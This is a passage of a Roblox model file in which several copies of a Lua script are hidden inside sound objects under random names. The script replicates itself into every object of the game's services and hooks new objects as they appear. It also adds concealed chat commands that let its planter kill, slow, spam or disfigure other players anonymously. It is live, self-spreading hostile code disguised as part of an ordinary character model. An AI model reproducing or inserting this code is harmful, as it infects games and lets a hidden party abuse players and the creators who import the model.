function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX202">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">o0wn34c0n</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX203">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">32jug</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX204">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">12</int>
						<CoordinateFrame name="CFrame">
							<X>-8.26363087</X>
							<Y>3.29895949</Y>
							<Z>12.7302265</Z>
							<R00>-0.538089991</R00>
							<R01>7.44197024e-008</R01>
							<R02>0.842887282</R02>
							<R10>9.79912116e-008</R10>
							<R11>1</R11>
							<R12>-2.57348773e-008</R12>
							<R20>-0.842887282</R20>
							<R21>6.87478661e-008</R21>
							<R22>-0.538089991</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX205">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">l8ll</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX206">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">nj8i</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
